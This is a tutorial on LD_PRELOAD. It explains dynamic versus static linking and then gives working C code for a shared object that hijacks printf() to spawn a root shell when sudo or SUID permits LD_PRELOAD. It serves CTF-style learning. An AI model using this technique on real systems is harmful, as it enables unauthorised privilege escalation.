[Tutorial] LD_PRELOAD Usage and Exploitation
What is LD_PRELOAD and how does it work?
LD_PRELOAD is an environment variable on Linux and Unix-like systems, when used, it tells the dynamic linker to load one or more shared objects (libraries) before any other libraries when a dynamically linked binary is run.
Because the shared object’s defined by LD_PRELOAD are loaded before any other libraries, any symbols (functions or variables) defined within them can override the same-named symbols within LIBC or other shared libraries.
This only works on binaries that are not statically compiled, meaning they link libraries at runtime.
Static and Dynamic Links
By default, when compiling a binary with gcc, it will compile it dynamically linked unless the -static flag is provided during compilation.
Compiling a Dynamically Linked Binary
#include <stdio.h>
int main(){
printf("Hello World!\n");
return 0;
}
Compiling this C code with the command gcc hello.c -o hello and then running the command readelf -h ./hello to fetch data about the binary from its header, we can see that the Type is DYN (Position-Independant Executable File). The DYN simply means that it is dynamically linked.
Running ldd ./hello, it will show us what libraries are dynamically linked at runtime.
$ ldd ./hello
linux-vdso.so.1
libc.so.6 -> /lib/x86_64-linux-gnu/libc.so.6
/lib64/ld-linux-x86-64.so.2
Compiling a Statically Linked Binary
#include <stdio.h>
int main(){
printf("Hello World!\n");
return 0;
}
Compiling the same C code, however this time with the -static flag, gcc -static hello.c -o hello and running the command readelf -h ./hello we can see that the Type is now EXEC (Executable File), showing that it is not dynamically linked.
$ ldd ./hello
not a dynamic executable
Then, again, running ldd ./hello we get the output not a dynamic executable.
Using LD_PRELOAD
LD_PRELOAD can be used for numerous purposes, these include intercepting function calls, avoiding anti-debugger techniques, leaking values from the stack or arguments passed to the function, or even executing malicious code in place of a legitemate function call.
Example: Executing Malicious Code
For this example, we will compile a binary using the following code. It is a very basic program that prompts the user to enter their name before printing “Hello, {name}!”.
#include <stdio.h>
int main() {
char name[8];
printf("Enter your name: ");
fgets(name, 8, stdin);
printf("Hello, %s", name);
return 0;
}
Compile the binary with gcc example.c -o example.
We can see that there are three function calls within this code, two to printf() and one to fgets().
Let’s assume that in our imaginary scenario, we want to be able to spawn a shell, maybe the binary is SUID or you can run it using sudo and LD_PRELOAD has been allowed when running it with sudo. Escalating our privileges to root or whatever user owns the binary (in the case of it being SUID).
We can write our own shared object including a custom implementation of the printf() function. Our implementation will spawn an interactive shell.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
int printf(const char *format, ...) {
unsetenv("LD_PRELOAD");
system("/bin/bash");
return 0;
}
Compile the shared object with gcc preload.c -o preload -fPIC -shared -ldl.
When the printf() function is called, we first unset the environment variable LD_PRELOAD. This prevents issues when we try to call the system() function. Issues could occur because the system() function is part of LIBC and we are using LD_PRELOAD to point to our own shared object which loads before LIBC, this would mean that it would try to look for an implementation of system() within our own shared object, but it doesn’t exist.
Finally, we can run the example binary and set LD_PRELOAD to point to our shared object.
user@server~$ LD_PRELOAD=./preload ./example
root@server~# whoami
root
You can see an example of using LD_PRELOAD to leak values from the stack in the writeup of the first challenge (utumno0) from OverTheWire: Utumno.